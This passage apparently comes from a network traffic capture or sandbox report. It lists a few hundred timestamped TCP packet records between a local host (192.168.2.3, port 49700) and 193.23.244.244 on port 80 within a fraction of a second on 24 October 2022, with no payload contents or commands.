Oct 24, 2022 11:09:02.907035112 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.907053947 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907074928 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.907084942 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907094002 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.907114983 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907145023 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907155991 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.907174110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907212973 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.907282114 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907311916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907351017 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.907782078 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907824039 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907854080 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907874107 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.907882929 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907911062 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907921076 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.907939911 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907968998 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.907979965 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.908421040 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908462048 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908478022 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.908490896 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908524990 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908529043 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.908551931 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908580065 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908588886 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.908608913 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908637047 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908647060 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.908668995 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908696890 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908706903 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.908725977 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908754110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908765078 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.908782005 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908808947 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908818007 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.908835888 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.908874035 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915096045 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915136099 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915162086 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915190935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915216923 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915230989 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915242910 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915244102 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915270090 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915288925 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915296078 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915321112 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915345907 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915359974 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915371895 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915397882 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915402889 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915422916 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915440083 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915450096 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915476084 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915498018 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915502071 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915529013 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915539980 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915555000 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915581942 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915594101 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915608883 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915635109 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915646076 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915662050 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915688038 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915699959 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915713072 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915739059 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915750980 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915765047 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915790081 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915802002 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915816069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915841103 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915855885 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915868998 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915894985 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915905952 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.915921926 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915950060 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.915960073 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.918112993 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.918164015 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.918200016 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.918201923 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.918231010 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.918241024 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.918262959 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.918292046 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.918299913 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.918325901 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.918359041 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.918370008 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.918394089 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.918431997 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.918436050 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.919157028 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919212103 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919253111 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919292927 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919316053 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919342041 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919364929 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919389963 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919414997 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919440031 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919688940 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919715881 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919739962 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919751883 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.919770002 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919796944 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919821024 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.919821978 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919847965 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919851065 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.919873953 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.919891119 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.920372009 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.920402050 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.920423985 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.920428038 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.920458078 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.920465946 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.920484066 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.920511007 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.920520067 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.920557976 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.920583963 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.920595884 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.928570986 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928616047 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928644896 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928672075 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928699017 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928723097 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928747892 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928755045 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.928772926 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928797007 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928814888 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.928818941 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928842068 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928843975 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.928864002 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928886890 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928891897 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.928909063 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928929090 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.928931952 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928955078 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.928975105 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.928977966 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.929004908 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.929018974 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.935116053 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935173988 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935208082 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935239077 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935246944 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.935272932 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935305119 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935305119 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.935333014 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.935389042 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935421944 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935452938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935482025 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935513973 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935545921 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935657024 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.935832977 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935868979 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935900927 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935933113 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935962915 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.935992956 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.936081886 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.936372042 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.936405897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.936706066 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.936964989 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937004089 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937036037 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937067032 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937100887 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937131882 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937164068 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937195063 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937226057 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937258959 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937292099 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937321901 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937352896 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937382936 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.937396049 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.937427998 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.944720030 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944761038 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944787979 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944807053 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944824934 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944844007 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944859028 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.944861889 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944880009 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944900036 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944926023 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944933891 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.944948912 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944971085 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944991112 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.944998980 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.945009947 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945028067 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945030928 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.945045948 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945063114 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945082903 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945085049 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.945100069 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945117950 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945125103 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.945135117 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945149899 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.945153952 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945182085 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945187092 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.945207119 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945229053 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945231915 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.945245981 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945262909 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945281029 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945285082 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.945297003 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945313931 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945327044 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.945333004 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945349932 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.945352077 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.945374966 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.946867943 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.946911097 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.946929932 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.946949005 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.946966887 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.946985960 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.946990013 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.947002888 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.947021008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.947036982 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.947040081 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.947055101 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.947103977 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.948254108 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948273897 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948290110 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948303938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948342085 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948353052 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.948362112 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948380947 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948391914 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.948400021 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948417902 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948440075 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948451996 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.948458910 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948477983 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948484898 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.948496103 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948508024 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.948514938 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948534012 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948551893 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948556900 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.948570967 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948587894 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948604107 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948610067 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.948622942 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948642969 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948643923 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.948661089 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948668003 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.948679924 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948698044 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948703051 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.948717117 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948734999 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.948743105 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.948781013 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.956382036 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956417084 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956444979 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956464052 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956481934 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956499100 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956517935 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956537008 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956536055 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.956553936 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956572056 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956588984 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956600904 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.956605911 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956624985 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956644058 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956648111 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.956662893 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956681013 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956700087 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956701040 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.956743956 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.956754923 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.956780910 CEST	49700	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:09:02.962688923 CEST	80	49700	193.23.244.244	192.168.2.3
Oct 24, 2022 11:09:02.962721109 CEST	80	49700	193.23.244.244	192.168.2.3
